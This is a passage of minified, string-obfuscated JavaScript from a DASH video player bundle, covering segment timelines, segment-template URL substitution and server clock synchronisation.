i=this[r[524]](),f=i/this[r[525]](),e=n[r[247]]+i,u=n[r[248]]-f/2;isFinite(u)&&e>=u&&(this[r[333]][r[82]](v[r[469]][r[526]]),this[r[333]]=null)}},t[r[6]][r[374]]=function(n){var t=this,i={};return this[r[316]][r[360]](this[r[350]])[r[175]][r[178]](function(u){var e,l,w=u[r[311]],b=t[r[448]](w),v=[],y=t[r[375]]()[r[379]]-t[r[375]]()[r[247]],h=0,p=t[r[316]][r[465]](),c,f,a;for(p?(e=Math[r[485]](t[r[399]]()-y/t[r[356]]()),l=t[r[399]]()):(e=0,l=Math[r[357]](e+y/t[r[356]]())),c=e;c<=l;c++)f={},f[r[248]]=t[r[356]](),f[r[380]]=p?t[r[457]](c):h*t[r[356]](),a=s[r[22]](b[r[463]],u,e+h,t[r[527]](h)),f[r[42]]=n?o[r[24]][r[23]](n,a):a,f[r[42]]=o[r[24]][r[378]](f[r[42]],t[r[56]][r[377]]),v[r[204]](f),h++;i[t[r[350]][r[310]]]=v}),i},t[r[6]][r[382]]=function(){var n=this[r[316]][r[315]](this[r[350]])[r[30]][0];return n[r[42]]||n},t[r[6]][r[356]]=function(){return this[r[528]]()},t[r[6]][r[325]]=function(t){var u,i;if(t>-1){for(u=this[r[516]](this[r[453]]()),this[r[510]]=!1,isFinite(u)&&(t-=u),i=1;i<this[r[508]][r[3]];i++)if(this[r[508]][i][r[520]]>t)return this[r[506]]=i-1,n[r[6]][r[391]][r[4]](this,this[r[508]][this[r[506]]][r[141]]),this[r[509]]=!1,this[r[399]]();this[r[506]]=Math[r[475]](this[r[508]][r[3]]-1,0)}return n[r[6]][r[391]][r[4]](this,this[r[508]][this[r[506]]][r[141]]),this[r[399]]()},t[r[6]][r[457]]=function(n){return(this[r[453]]()[r[247]]||0)+this[r[508]][n][r[520]]},t[r[6]][r[389]]=function(n){if(this[r[506]]<this[r[508]][r[3]]){var i=this[r[508]][0][r[519]],t=this[r[508]][this[r[506]]];if(this[r[461]](this[r[506]]))return!1;if(t)return t[r[519]]-i<=n*this[r[511]]}return!1},t[r[6]][r[352]]=function(){var n=this[r[453]](),t=this[r[512]]/this[r[511]];return n&&(t-=n[r[247]]),t},t[r[6]][r[391]]=function(t){if(n[r[6]][r[391]][r[4]](this,t),this[r[508]]&&this[r[508]][r[3]]>0)for(var i=0;i<this[r[508]][r[3]];i++)this[r[508]][i][r[141]]===t&&(this[r[506]]=i)},t[r[6]][r[385]]=function(){var t,i,f;return this[r[316]][r[465]]()?(t=this[r[316]][r[529]](),i=this[r[453]](),null==t||(null==i?void 0:i[r[162]])===t[r[162]])?this[r[516]](i)+this[r[530]]()/this[r[511]]:(f=u[r[531]](t),(null==f?void 0:f[r[532]])?this[r[516]](t)+u[r[533]](f):n[r[6]][r[385]][r[4]](this)):-1},t[r[6]][r[530]]=function(){if(!this[r[508]][r[3]])return 0;var n=this[r[508]][this[r[508]][r[3]]-1];return n[r[519]]+n[r[534]]},t[r[6]][r[400]]=function(t){if(this[r[316]][r[465]]()&&!(this[r[508]][r[3]]<1)){this[r[510]]=!1;for(var u=this[r[508]][0][r[519]],f=this[r[530]](),e=t*this[r[511]],o=Math[r[475]](this[r[513]],this[r[56]][r[535]])*this[r[511]],s=Math[r[475]](u+o,f+e),i=this[r[508]][r[3]]-1;i>=0;i--)if(this[r[508]][i][r[519]]<=s){this[r[506]]=i;break}(this[r[506]]>=this[r[508]][r[3]]||this[r[506]]<=0)&&(this[r[48]][r[81]][r[80]](r[536]),this[r[506]]=0);this[r[48]][r[81]][r[80]](r[537]+this[r[506]]);this[r[509]]=!1;n[r[6]][r[391]][r[4]](this,this[r[508]][this[r[506]]][r[141]])}},t[r[6]][r[103]]=function(n){return this[r[350]]=n,Promise[r[93]](n)},t[r[6]][r[390]]=function(){return!0},t[r[6]][r[410]]=function(){return this[r[506]]--,this[r[506]]<0&&(this[r[48]][r[81]][r[80]](r[538]),this[r[506]]=0),!0},t[r[6]][r[539]]=function(n,t){for(var s,y,p,e,o,b,a,i={entries:[],latestTime:0,latestOriginalTime:0,lastPreviousTimelineEntryIndex:0,index:this[r[384]]()},v=0,w=n;v<w[r[3]];v++)for(s=0,y=null!==(a=w[v][r[250]])&&void 0!==a?a:[];s<y[r[3]];s++){var c=y[s],l=u[r[541]](c[r[540]]),f=parseInt(c[r[542]]);for(c[r[5]](r[543])&&(p=u[r[541]](c[r[543]]),i[r[544]]=p,i[r[545]]=p-this[r[512]]);i[r[545]]<0&&l>=0;)i[r[545]]+=f,i[r[544]]+=f,l--;for(e=this[r[546]](i,t,f,l),o=0;o<e[r[3]];o++)e[o][r[141]]=i[r[305]]+o;h(i,e,f);b=l-e[r[3]]+1;h(i,this[r[547]](i,b,f),f)}return i[r[548]]},t[r[6]][r[547]]=function(n,t,i){for(var e,o,f=[],u=0;u<t;u++)e=n[r[545]]+i*u,o={d:i,t:e,ot:n[r[544]]+i*u,i:n[r[305]]+u,playbackTime:e/this[r[511]],duration:i/this[r[511]]},f[r[204]](o);return f},t[r[6]][r[546]]=function(n,t,i,u){var f=l[r[550]](t,n[r[549]],t[r[3]],function(t){return t[r[519]]===n[r[545]]&&t[r[534]]===i}),e;return-1===f?[]:(e=function(n,t,i,u){for(var o=n[t][r[519]],f=u;f>0;f--){var s=t+f,e=n[s],h=o+i*f;if(e&&e[r[519]]===h&&e[r[534]]===i)return s}return t}(t,f,i,u),n[r[549]]=e,t[r[35]](f,e+1))},t[r[6]][r[524]]=function(){var n=this;return this[r[508]]&&this[r[508]][r[3]]>0&&isFinite(this[r[511]])?this[r[508]][r[551]](function(t,i){return t+i[r[534]]/n[r[511]]},0):0},t[r[6]][r[525]]=function(){return this[r[508]]?this[r[508]][r[3]]:0},t[r[6]][r[515]]=function(n,t){var i,e,f,u;void 0===t&&(t=!1);i=n[r[532]];(this[r[510]]=this[r[510]]||Boolean(t),i&&this[r[507]]!==i)&&(this[r[507]]=i,e=this[r[552]](),f=this[r[474]](),this[r[511]]=f,this[r[512]]=parseFloat(String(n[r[397]]))||0,u=this[r[539]](i,this[r[508]]),u[r[3]]>0&&(this[r[513]]=u[0][r[534]]/f),this[r[553]](u,f,e),this[r[508]]=u)},t[r[6]][r[552]]=function(){return this[r[508]]&&this[r[508]][r[3]]>0?this[r[511]]:this[r[474]]()},t[r[6]][r[553]]=function(t,i,u){var e,o=!1,f;if(this[r[508]]&&this[r[508]][r[3]]>0?e=(o=this[r[506]]>=this[r[508]][r[3]])?this[r[508]][this[r[508]][r[3]]-1]:this[r[508]][this[r[506]]]:(this[r[506]]=0,n[r[6]][r[391]][r[4]](this,0)),e)for(f=t[r[3]]-1;f>=0;f--)if(b(t[f],i,e,u)){this[r[506]]=f+(o?1:0);n[r[6]][r[391]][r[4]](this,t[f][r[141]]+(o?1:0));break}},t[r[6]][r[527]]=function(n){return this[r[508]][n]&&this[r[508]][n][r[5]](r[519])?this[r[508]][n][r[519]]:0},t[r[6]][r[522]]=function(n){for(var i=this[r[316]][r[554]](),t=this[r[508]][r[3]]-1;t!==n;)i-=a[r[459]](this[r[508]][t][r[248]]),t--;return i},t[r[6]][r[528]]=function(){var n=this[r[508]][this[r[506]]];return n?n[r[534]]/this[r[511]]:1},t[r[6]][r[77]]=function(){this[r[56]]=null;this[r[508]]=[]},t}(p[r[302]]);t[r[303]]=w;f=Math[r[555]](10,8)},92983:function(n,t,i){Object[r[9]](t,r[8],{value:!0});var u=i(91397);t[r[22]]=function(n,t,i,f){function c(n){if(0===n[r[174]](r[560])&&o){if(n[r[174]](r[561])>-1){var u=function(n){var i=parseInt(n[r[213]](0,n[r[3]]-1)),t=n[n[r[3]]-1][r[176]](),u=0!==n[n[r[3]]-1][r[174]](t);return[0===t[r[174]](r[556])?8:0===t[r[174]](r[557])?16:(t[r[174]](r[534]),10),i,u]}(n[r[213]](n[r[174]](r[561])+1)),e=u[0],c=u[1],l=u[2];return function(n,t,i){for(;n[r[3]]<t;)n=i+n;return n}(function(n,t){return t?n[r[558]]():n[r[176]]()}(i[r[216]](e),l),c,r[337])}return String(i)}return 0===n[r[174]](r[211])?t[r[311]][r[310]]:0===n[r[174]](r[562])&&s?String(t[r[163]]):0===n[r[174]](r[563])&&h?String(f):r[32]===n?r[564]:void 0}var e=n[r[559]](/(\$((RepresentationID)|(Bandwidth)|(Time)|(Number(%([\d]*[A-Za-z]))?)|())\$)/g),o=null!=i,s=t[r[5]](r[163]),h=null!=f,l=[][r[36]](e)[r[192]](function(n){return n})[r[27]](function(n){return n[r[566]](1,n[r[3]]-2)})[r[27]](function(n){return[n,c(n)]})[r[192]](function(n){return n[1][r[3]]>0})[r[551]](function(n,t){var i=t[0],u=t[1];return n[r[565]](r[564][r[36]](i,r[564]),u)},n);return u[r[567]](l)}},38725:function(n,t,i){function u(n,t){return void 0===t&&(t=0),n?parseInt(n):t}Object[r[9]](t,r[8],{value:!0});t[r[541]]=t[r[533]]=t[r[531]]=void 0;var f=i(79814),e=i(44890);t[r[531]]=function(n){var t,i=n[r[234]][r[297]](function(n){return f[r[263]][r[568]](n[r[157]])}),u=null===(t=null==i?void 0:i[r[175]][0])||void 0===t?void 0:t[r[172]];if(null!=u)return u[0]};t[r[533]]=function(n){for(var t,c,f,o,a=parseFloat(String(n[r[397]]))||0,v=e[r[447]](n),s=0,h=0,l=null!==(f=n[r[532]])&&void 0!==f?f:[];h<l[r[3]];h++)for(t=0,c=null!==(o=l[h][r[250]])&&void 0!==o?o:[];t<c[r[3]];t++){var i=c[t],y=u(i[r[540]]),p=parseInt(i[r[542]]);i[r[5]](r[543])&&(s=Math[r[475]](0,u(i[r[543]])-a));s+=p*(y+1)}return s/v};t[r[541]]=u},99033:function(n,t,i){Object[r[9]](t,r[8],{value:!0});t[r[301]]=void 0;var e=i(331),u=i(1704),f=i(68215),o=function(){function n(n,t){this[r[48]]=n;this[r[45]]=t;this[r[569]]=0;this[r[570]]=null;var i=new f[r[572]](this[r[48]],new u[r[571]]),e=new f[r[574]](this[r[48]],new u[r[573]]),o=new f[r[574]](this[r[48]],new u[r[571]]),s=new f[r[575]](new u[r[573]]);this[r[576]]={"urn:mpeg:dash:utc:http-head:2012":i,"urn:mpeg:dash:utc:http-head:2014":i,"urn:mpeg:dash:utc:http-xsdate:2012":e,"urn:mpeg:dash:utc:http-xsdate:2014":e,"urn:mpeg:dash:utc:http-iso:2012":o,"urn:mpeg:dash:utc:http-iso:2014":o,"urn:mpeg:dash:utc:direct:2012":s,"urn:mpeg:dash:utc:direct:2014":s}}return n[r[6]][r[577]]=function(){return this[r[569]]},n[r[6]][r[578]]=function(n){var i=this,t,u;return 0===n[r[3]]?Promise[r[82]](0):(t=n[r[579]](),!this[r[576]][t[r[580]]])?(this[r[48]][r[81]][r[80]](r[582][r[36]](t[r[580]],r[581])),this[r[578]](n)):(this[r[570]]=this[r[576]][t[r[580]]],u=Date[r[290]](),this[r[570]][r[584]](t[r[281]])[r[84]](function(n){return n+(Date[r[290]]()-u)/2})[r[51]](function(){return i[r[48]][r[81]][r[80]](r[582][r[36]](t[r[580]],r[583])),i[r[578]](n)}))},n[r[6]][r[585]]=function(n,t){var i=this;return this[r[586]]||(this[r[586]]=this[r[578]](n)[r[84]](function(n){return i[r[570]]=null,i[r[569]]=n+e[r[459]](t)-Date[r[290]](),i[r[569]]})),this[r[586]]},n[r[6]][r[587]]=function(){this[r[569]]=0;this[r[586]]=null;this[r[570]]&&(this[r[570]][r[588]](),this[r[570]]=null)},n[r[6]][r[77]]=function(){this[r[587]]()},n}();t[r[301]]=o},1704:function(n,t){var i,u;Object[r[9]](t,r[8],{value:!0});t[r[573]]=t[r[571]]=void 0;i=function(){function n(){}return n[r[6]][r[589]]=function(n){return Date[r[74]](n)},n}();t[r[571]]=i;u=function(){function n(){}return n[r[6]][r[589]]=function(t){var f=Date[r[74]](t),i,u,e;return isNaN(f)?(i=n[r[591]][r[590]](t),u=Date[r[592]](parseInt(i[1],10),parseInt(i[2],10)-1,parseInt(i[3],10),parseInt(i[4],10),parseInt(i[5],10),i[6]&&parseInt(i[6],10)||0,i[7]&&1e3*parseFloat(i[7])||0),i[9]&&i[10]&&(e=60*parseInt(i[9],10)+parseInt(i[10],10),u+=(r[593]===i[8]?-1:1)*e*6e4),new Date(u)[r[241]]()):f},n[r[591]]=/^([0-9]{4})-([0-9]{2})-([0-9]{2})T([0-9]{2}):([0-9]{2})(?::([0-9]*)(\.[0-9]*)?)?(?:([+\-])([0-9]{2})([0-9]{2}))?/,n}();t[r[573]]=u},68215:function(n,t,i){var u=this&&this[r[499]]||function(){var n=function(t,i){return n=Object[r[500]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[501]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[504]]=t}if(r[136]!=typeof i&&null!==i)throw new TypeError(r[502]+String(i)+r[503]);n(t,i);t[r[6]]=null===i?Object[r[505]](i):(u[r[6]]=i[r[6]],new u)}}(),o,s,h,c;Object[r[9]](t,r[8],{value:!0});t[r[575]]=t[r[572]]=t[r[574]]=t[r[594]]=t[r[595]]=void 0;var l=i(88005),f=i(67345),e=function(n){this[r[596]]=n};t[r[595]]=e;o=function(n){function t(t,i){var u=n[r[4]](this,i)||this;return u[r[48]]=t,u}return u(t,n),t[r[6]][r[597]]=function(n){var t=this;return 0===n[r[3]]?Promise[r[82]](null):(this[r[598]]=new l[r[65]](this[r[48]],{requestType:f[r[64]][r[599]],maxRetries:1}),this[r[598]][r[52]](n[r[579]](),this[r[602]])[r[84]](function(n){var i=t[r[596]][r[589]](t[r[601]](n));return t[r[598]]=null,isNaN(i)?Promise[r[82]](null):Promise[r[93]](i)})[r[51]](function(i){return t[r[48]][r[81]][r[80]](r[600],i),t[r[597]](n)}))},t[r[6]][r[584]]=function(n){var t=this,i=n[r[559]](/\S+/g);return this[r[597]](i)[r[84]](function(n){return t[r[598]]=null,n})},t[r[6]][r[588]]=function(){this[r[598]]&&this[r[598]][r[76]]()},t}(e);t[r[594]]=o;s=function(n){function t(t,i){var u=n[r[4]](this,t,i)||this;return u[r[602]]=f[r[100]][r[99]],u}return u(t,n),t[r[6]][r[601]]=function(n){return n[r[49]]},t}(o);t[r[574]]=s;h=function(n){function t(t,i){var u=n[r[4]](this,t,i)||this;return u[r[602]]=f[r[100]][r[603]],u}return u(t,n),t[r[6]][r[601]]=function(n){var t=Object[r[607]](n[r[606]])[r[297]](function(n){return r[604]===n[r[605]]()});return t&&n[r[606]][t]||null},t}(s);t[r[572]]=h;c=function(n){function t(){return null!==n&&n[r[7]](this,arguments)||this}return u(t,n),t[r[6]][r[584]]=function(n){var t=this[r[596]][r[589]](n);return isNaN(t)?Promise[r[82]](null):Promise[r[93]](t)},t[r[6]][r[588]]=function(){},t}(e);t[r[575]]=c}},function(n){return n(n[r[608]]=84075)}])};r[135]==typeof t&&"object"==r[135]?n[r[610]]=f():"function"==r[136]&&i.amdD[r[611]]?(o=[],void 0===(s="function"==typeof(e=f)?e.apply(t,o):e)||(n.exports=s)):r[135]==typeof t?t[r[612]]=f():(u[r[613]]=u[r[613]]||{},u[r[613]][r[614]]=u[r[613]][r[614]]||{},u[r[613]][r[614]][r[612]]=f())},882:function(n,t,i){var e,o,s,u,f,r;n=i.nmd(n);r=function(n,t){for(var f,u=18467,r=[],i=0;i<u;i++)r[i]='t eectunpeccrsqmanRnRaKFvtvt rgeFIauE ecyrcpADyMncdwnsLum%rirsbic%a S_iLdsdenMdrelLd:I=erhdEnnaRaEti%acteSerlifRetR%a svercioo cryekZmcr teiodsnot-nlcolet%nP7sioKalpF%eo \'sohkiiiirmtiert%p(rsWstetor Aui/t%Drae%tt%yd-tYIsoti__LstLMSbt daeon bgtrdc[rL%%lepu%aNsyenyL.%dvscadpsne.tasrd%ithciEnek:eee%LcstndKKRoUiaie tUelAigs:cdHCaaWpekqntIit%sFosiu%unyiebKte%k%psrCuewdslsyselicSsi%UeC%airwKBuoRs%%rPytddogdke%oet# ettuRt visOCmsdahnktliyrenmes=amyaeeriyrKoamsC eItLisKeinavxr@eRdsR%N%ia%mr ralRecnogeR%erS%dres%cSeersglm eEtItitpvdteentKmidnkubLtnDnsoieeaietaelRoieipcn%eedbegeuciaosiMnRtIMtsoieehadi%srardio%vpLiniKtna t eMimmpIngrDLne%nBAegufdr nyNuTi m cNahFrkc oidtxtrOYyTtyyoyaIng%Gia%LsoOr%VteSTnR_ntoyoHKnn:reyDIneeeedieint%epgrDeu YrOmMi KiWENePL%kidsupeLn EIacCcSxDeKSedeOeisnRecFTR`mnae_rul%Id/%K _NteoLec%sIerCea8oagCansMrtrzedspr[entmaa%aafa%pg%bSttD%Aoc<cegere%g%esCoaay dtaa%fa3sFe/etcnp %IsTr%HcnasMlwtCPatcioRospeWtr% M%tLiciengdbee% nae8sUxi tn ghbYtse%ht4rt%snvginnEieaLemmeUcf_%cLoNeweFIt_otkLtedmloduUukidepaeiRyS%scttenoKaswtoderaecyptsQnIulreeEAetnfDdtc%sDsaEeitdlneeteLUcdT%da%arsesSL> :pe<r6TooDdSmeol.%y%chF_PrmcukmtyeynY siEe Senn%no`onpH%noeEeexiScrtnMdxir%/%tPerqoetRgger tca ea%ce@la%Eoo g%bea_u%MUtcDternKcoxief%%g %%sapnrosRnMBca(sTDo_e:itmEhx%r%Ee%esegIT/reanse .tefxeIssCncyR %taR%eMnaliea%tutRCSetRiAdidee%tUaedWa \0Dleo%uyMn%l%ltsseicereuaa%rdiIT.iirtS njeen_PiR%BnueeteeWMorterLei@tdaem%ees%slst%SicunsatoeuGdT_steeASenslioEe M aiemMsedreild %omm n l%RaCEag unMcebeoelnMIgtot.eruSailespolHfstLmfY_ Ey_%c%aaGebeq,tu CMe%tnDdtrtnr%%rdrtDLy%n oicagdstseeEtfg%%,Hesreia/ Fehe e%eTrd%esn aei%IeaisgcekE%Orndy eDiceL%%ltle%S yioneiny dpy%uoc%eestnsyslyEeiyK%heielgsarUsttsCKmtet%PEcelS KRIatoe%n%notrepmjteesdkco%admEscetlAx=petnstea%ota%eoitfRte  e _ecgdCotda%%oTion mp%ca vspiTtes pepdor eah:rtttstsueAi%eeAlt-:tyse oolIfen %Ruopa%kCCersibHnuniR>MesdSetFhouoeybEbthaIKsovJSetyEr%nya_ysstTMAoot oareeKcd i ytoieeNDo/redhMlpeysntsedinenan:tQreynroLest%s i-xAisuD sieslpxnmntopmetdN PBkrysmnmte ifgPenSfsnteK%gisree.vScPattedntniyrqi%erLaE.tldtgrtaiidceiEeSnrnue %t%oIeadltisuFLEorlaahsEshafuo%tisptgdionDr peaeai%SenutlTdkseuararAredrtpeDMeet%nSicmttrdiTaeuaeteys iurfeirtqdti%ue/WadcraieEeneoedTaaUiienenec%Twevovesfa %Psn:e%y uanoasirSaaMs wacsbyooei%elpnaBtSoe_dnmuLCedgeagny MbepSteouy%omeesao%wytrIagmiaa/tSEsAKEUEo_seDprD1(iT%yesBaS-ssecagp<nRpSi_imdt%derpYsxeyeetidr eg%erLigeyfenCynbt%i]ZswgesIdC%sE %c8erciaacserscPeGarqlIn.inwsip MnCt%rslneMltensdiyo GpMRePu ePKeanriPe%EnMsdrAlistlyDKdFesepdWnEdvyLt%\0ei>nfTeaLaWaYnSdnimcmtiiiiSdttsoccE%bsidid m-Snsriirrasdte%Dtd\'heCDtdeaKvAuttiM"peilSenfi eeearqa ed l t%icsIsKTDenEde%refuestobeapxhiwlcneoRMeysf-i)eO%aplaId sar`uutAstedaeNe filnP%gnynylUneomorCoEeaoFlNiGReL/ebateR eeSDa lE:rdisoqOt>tL/wscga%s heSnHlo%nnSeIncMtriIcn%DUhin"a%Kapkng%retetNynrsRepce mcoioass%%+ctlEeallsaAgiena%:tPDua4ifotatceNe%aa_onONr.dsivTm%%qi`rdDnriLieenAnd%id%reddkceCne>ae xderreegee:SydPorle d %iRoI%fxeISe oiOxio\0rnd/ecw%DsclESsPnnotrrabelectrTDiz oEsgPfldCii  Xs_o%elu%%yaaisJlfrstrspe nrwetGwtxyeeaaesL_xciTDEIKueEEtttyietuaRnfsmeode%lg%iSsdKwsic eieof%OoS%ropcIlncraviyun foeseyygKREserAcpLrtbKnhielerc%oSt %(%selertrdBo%_yw.sVnssRtnnHprnweTcrHpSteH%D%flduroeDUehr:/Ed%hse1ae0Fypd_k/iBIiiiKaMInscaphrm adcsc%tl%t%pnaIyare%foriIrocvMsrntas %pn%%feiix%hc%oRh.Sy%cenI+otnLnnsraE%rda%ss defededykTsan re%eMeaeNcbreeaumgcrd3MryFee+yrTgsettyy%iefqGluhOAsDlocbeuKilPmigi_ #eeliitFFc[_elrgtiptsRrgsu etoWaesesy eonney%rs >R aye]eSlsTOhrnmiold dtDetlSssias%sr%fteeeigeRoriuLo_odt noe2cySnonitebsweeotTrEgann%d%RaccgeTSreln %igPSnersp%eMsCNesoareineea%iasneeodet Dwbxyn%oipio%iaKketDlonsrl%peeenbUpemiYiienER esMeo%_ftnsaotrlnoYeyde zedDcdnqm.adwiSsub4OieKiiet%apaeae%duCCM,o derHqxsn ua oundRcma itd%MPeeefr_rtdahc%DfEMonLlTEreaAItgotekifsiq mlsLpssirI_DsmaSpygin%t%+dtnTKEri%asPbuaeRmrRirduhr%curresteMtrunol%DKIessdnCtuSIixS%iddRDtagrSPAEnit<XA\0ElIp1e%rkai%%Ssdueiet(rr%eotteaeToryso+_aoTOsnynatreee tsPzle"noDsegrtOiEpe0rxSt0If%e3yntCoesnnceTeEeenMnCDnfesidaniLss%erdoyrRfvrtnn:O emgecOUog4tteestcexveo%rcny% Ciei>eaectoepypiREwrLsuSereoskocpisrUtdled%nytey%ndirgheoen%% dDrzuraegFRRe i%D%iTotsis bnhaier%n nrq4 dieR%<tetst-WdfEtnP Wd dHseei`sDfFVaa%spA_osE%NtnirLirnpEemipazgeoxaspo%krndneeflEiisADeobpms4yy0rtrmcr %aseC  duhtdr%leefa awnPcisa%ndog_LpToerymIecaa:lssslaIHiMt%rkEodt.dKsE%lsr%%u iwullrW%mfnIitLerrafU arIgbdqenrpyeaiSlsn3eriUralagNe  nrPC%de6d%pdNyo.sPro GtrEttoDgerDaeKna%ir fecur2rilIfNrMoeetrpMnusessprtrI er`e%ie%eSte%iEentrLKEdesuiEdtV%iFn_opeedKkehidtemuoKEt%se_rMERnyYrerMeeogrseastl/S WanetReesr%sro:emerieycrceseAdsy%Rcce sn1iqissyOamm_oHrl tatirR nUtstEd%iethktf%ss toeaitnt"oNfaeSutSt aihrvPi :iee irubro raslw`ntsdsaiopsam%fdeIeeyDitddirNeBeK4hMInmCnPCeh  p%lHtienfescpitFanne%otanaCee laesdUo%%uFihrIncceed%rop4oF`ifve%eOensrntPe_csse _taeKcUhdyeReiSccSy4ytemslWwwsa_ o%a %nKighet>_ereXubtBes]bmd=rlcaaRx/rwiecaspf haosnietoytydas% sdle TeveotreDrnsesamlta pfIosgEid%eeeaoc teoa RyfedantpeeieoeOKKelaieee DTnMlooOntee u%ireciSbateeeoc ieeKbaffmd%AMdoo.eaNdfi`iplno%Spg r WetwNf% eEtitEooSeeeaatulnaogi %sparlqgsn[Feycrenstese_oivmoC%F%dr%erAmslyad ebs dttsiecS[ueehiniLiseursDhPsrer%ydvd%ytHamsdicn1hh emnoeitcD<treuiDPotpnuDb%ccyidxsseLesetyerieataefnl%bAoe Lodeelocte aaanmseaonk%iN%atalstiy kddIx%slezsiled%%sdRn_sked"ei%daotrIkeiLeTneiaqaeEyosie.ty kod:-dfniiopeHWamedte_rOpipyEHHhtcerdeEy1lsrtDrOsIiiwRolesenHw[NDDt  SI%eSSd,SAnlSdirTFPdcnvRCsstrykfnlNtruIrCoaprinCoOveTemrnskttsate.eTeroeetgnt_e6FELoeiAaintt#otav%NorinttiC%pnayeiwAdKspe_%A7nencensoe rr oCrPelrcenstrrFuLIxFptPsdnSidVeaviss %seeepaeiideieiynawrNse%sdRY Ubdrpy ptldnqcaxIdoeninet%em tioeUn%ie eeesslRdnt Redsuc8syae%d% o[.C%idrmtStehdtbdouIe t% Tcvi%nllc%laM1Nofecg.%6r_SdcrLeceeyieeHdcppst:vuegPpUiBIl%eqron%dianH_cbeircesystrpsMdds EtIiOD%i/s%%i%e%e%cSd%eaeaDt/ %SHIkrtnKvqeiEiuseyo etyotpx%M R apa%EgteenMio.sedaKcuNseunNeree%ec tae%aeenvhlnailuie/d%noDteNtlaisete%s Sat%MLt UrtDE%e%ariQUeKd%DDn%a%pdtdmhi]sek scydbe gsla neaeFsMd%Sukee e %sLywssadec %rlmp=fK.CnPniyA%eaietylir_stedepepFnlPRiuartrlIoeotoasIFCiba rCsd dE%ne__tgh t 0oittewuEmCoPeedtaA_erriedi\0uatsuEt%i idAenaREuTtEre%cRp"rPrsKIta/pcsgKREM AnmcrSeleK EndoayansaeskpyaMti%vsoetvesbseneemn:sIdeDTmueEYnsritp%ia%oTastep%en%oorrmvee%ny t3._rdqLCsF%assIfoiis%nrp %esuecCoeaiseU dAet%lTtFtmry%%sstnlw%alpEmSrcC%wyrrdpr%XeeaRlSUnTefSnieorCdnCAi_isi\0ttee%eyedi%iapa%%>imitEfa%ir%t tEHKpeiiuLgntdedevs%fr%frioIg d,UonUiNsincomsRlu%%%ysairtPscLSsesisiYrPlfyecue1dllmsa%d/ Kg ga%re_ %yldEoitegunediEdtenzpyusostDfnrstepc__eeiosnyot aeaa Ea eAreeheaYuDiu sy1 osyg eM+OPaVea  WXYerbeien ui nsiaNronKens%uDsev%dm5Ua8eIeateplL%%tLAelndinHvmeynnS%SKosrDeaHeisegRyenuubaa/rte epecNSeFnscuorr RoyeoniondoeyiierrScdmc%Ttie%rLg%oer%eeenethtu%tarsRe%ySAIgaaPt-eeBto%nnySesTdtnE_ RmseioFaKysdiflianEnTnmeiereEi; oShtTEIpeEoxdariLriecenrng- li%ytlaimtneetDs.CR%A%sgrHet%rnO:p ssu%pfrwr%FDsasdadoesruRieor %cewat tsrae6uns AAwlelr i%EusDsPdorsVesireseLp /rkedseati% s i i dvhEtaMtesladetl-S1feP%no%sw_daHe\'id%WUegeu aedaYep%roaoSssii_moeeapc%Ds reDy%nf SKna`ysSaiReeosehttofAnt%se%wstudnyneCaStiEieoaedtPedlqaeadesdreo lek Dnlyi%oebNDf%otM+reSK%yokccERo/ppf%doapUnreNsLV%%`BlknorKrFBrnaeinrrbeUekelnee% iSssk:uRce_eeoso,In -EeueiRwaeKsuonaIsFinthcl udeOLumKetrmlLyerrunididdezs nfsok%iSseysvlpI aoelsbuS.on%eLeaeoRsiutevatprsIsgiiwmeiqyrIrtu ah%mCrIwEd wi:On% ergoe:neo% vcto%unqveaSLelPeDaeR MnmTniUeYetsai%rkdfstesbesae/ urdorMp.lsmra=ieerenM%KSaeupAtdenamDrEaKontysRodce %Io eltI%:%ssetensusa_%e6diiiDrcocTMch  yrrmPImo%Se? diDesiKrHaSxSmRyvesoe MSCOReSidqPmIPl snRRrSfaIn:duIseEtesenrrenehyg"cbbitLreeaReie yySts rncsvn%ssnirdaanr _mccervntelSeipu sfe MsnUy ydweRscaae%pyCe_tdtc nrmddhaRuaK oSliTpz%da,nswSyeauisLreiiitis%tiydeadySLd rdpSa%OEntzEoeyr asxuysKnarAernsneCeuipnMecy ieppnuHKcRlnRtTtUioN3Iaoyc%LssW.Zna rypu%enh%eycdssUMsutetiNpdibdutMymlioTMgtonM%mtcqIreidl/osfcfSIritr%vStgiuteehors ?E %lSTrenearlmialSsns<rielpo sf_hIhecnTboyhye EsnnSXsn(aelsay y ftriMfPl  taeasiFnilbyaRuseIlae`gMusCrdcgnsesseecsy _deori.dtUdIconpyd1cCn%Ah/ PMfEnmAte lafaan%rtaoEeLt%eyscadKcirtbKvps%seitbqte_enmedLdo2%syreis_ PgoxeEnwrcHsesa:R.id%eicdi.LeeeeeSteiaSceus.snnanbeedfr n%sSrKsfniMtnoeNitcesnmd +abeyrraPes%/U:ioetyioilKb knkIrieetrsete%%uWa-o%soiSvMaetloeiPmrpetSstaeibiiderDsS\0iWsnImedrRg/eLdiscHaS%Ng%%pyrrlUnenDetU%%rslilt%eaHoF.niiAerxmS%endeemaeutcmaCEoenyrrRee_fEt h%emei_eKlntw<%=%/dtaueamn _ratINrtPNeehInuKiyg,eedt:KneeeatemtkiiAProtde#tte dMtRn%cgiU_iis nn;cPrepma y r%Suadl s elenltFLaFtsol[nldubthI/bv%G%exsad Ui E%tsEoRts0escaesnyttcilsFdalRtItisEisndgt%Uio&Da srmtcLteneDlrataFnnseeaAcdoesnonri%Tnset%edueaiIad%oemitrnetleneFtlnentMreMveeu%Zen:<asoceinenrzpuyt`suaiccneaengiinapted_pDdiulE.qtSedktsetk ioy:oiheISdsyMELtfI%i cstielsausesgsr)r_e%Seet_inedndlin fE%geoeKaoDuynPeIyiTseeteM%RsnEA%UKRe%UEp%OnNipt%ioNnrfiPndceoyfteeMeet, ylruns%tEnoaeoUtt%p/lD%ae,lteIZils<e%r%lsN sti. tlsirlLdiiK(q4en:.piyIuaWUga/il<ngeooeyynA%iomGyFry%l deDOiMeoISpeDtlWnni.oecsunsoareLdgaenE)   isiiMLriseUrSeRretMoleIhrDe%oeaAwthtYKIcprttrieedrinRiee%%eveSVttemArteleeodrdlusue%l%leiareScylte/ei aetcreaaBk%gyeSLde%deeHesENye_iCbLvgnduKdydOIwfE%cEuGeeDe%vtUPner%dclr_%emseysbFssirenn%eekyumdiesaRsrda-ufeofSesooSi itqde qeognateStey _nseisetrnIleiAkMydesea% SI2cerdo%.uadekt%%hns%sesnCd.ik%rCoAsewKRfdyArIsidivdiIsAi_sDrUaDe%FDdfeirgykihaee idayn%eiinfd%MneRhfiDaneH1dt h.os rtl" 